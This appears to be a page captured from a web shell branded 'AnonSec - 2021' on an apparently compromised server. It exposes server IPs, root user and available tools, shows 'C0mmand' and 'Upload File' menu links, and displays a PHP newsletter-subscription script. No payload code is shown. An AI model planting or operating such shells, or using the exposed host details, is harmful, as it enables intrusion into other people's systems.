|
Server IP : 149.13.87.7 / Your IP : 185.174.145.2 Web Server : nginx System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : root ( 0) PHP Version : 8.0.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /mnt/platforms/workspaces/shortable.org/../anonyme-geburt.org/../casadelosninose.org/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
date_default_timezone_set('UTC');
include 'DbManager.php';
include 'Subscriber.php';
include 'Helper.php';
include 'smtp/SendEmail.php';
$port = 25801;
$today = date("Y/m/d");
$fname = isset($_POST['fname']) ? $_POST['fname'] : 'first name';
$lname = isset($_POST['lname']) ? $_POST['lname'] : 'last name';
$email = isset($_POST['adress_email']) ? $_POST['adress_email'] : '';
$page = isset($_GET['page_id']) ? $_GET['page_id'] : 2234;
if (isset($email) && Helper::is_valid_email($email))
{
$domain = $_SERVER['SERVER_NAME'];
$adress_ip = $_SERVER['REMOTE_ADDR'];
$code_activation = Helper::hash_code($domain,$email,$fname.'_'.$lname);
// Create new Subscriber
$subscriber = new Subscriber();
// Subscriber attribute
$subscriber->setFname($fname);
$subscriber->setLname($lname);
$subscriber->setEmail($email);
$subscriber->setDomain($domain);
$subscriber->setAdress_ip($adress_ip);
$subscriber->setStatus(0);
$subscriber->setCode_activation($code_activation);
$subscriber->setDate_activation('');
$subscriber->setEntered($today);
// Insert Subscriber
$manager = new SubscribeManager();
$manager->add_subscriber($subscriber);
$msg = base64_encode(Helper::message_confirmation());
// Sending Email
$params=array(
'host' => $domain,
'port' => $port,
'username' => '',
'password' => '',
'setFrom' => 'from@'.$domain,
'setFromName' => $domain,
'replyTo' => $email,
'to' => $email,
'subject' => 'Account activation',
'message' => Helper::message_activation($email,$domain,base64_encode($code_activation)),
);
sending($params);
// Redirecting to web site
Helper::go_to_page($_SERVER['HTTP_HOST'],$msg,$page);
}
else
{
Helper::go_to_page($_SERVER['HTTP_HOST'],base64_encode('Invalid Email') , $page);
}
AnonSec - 2021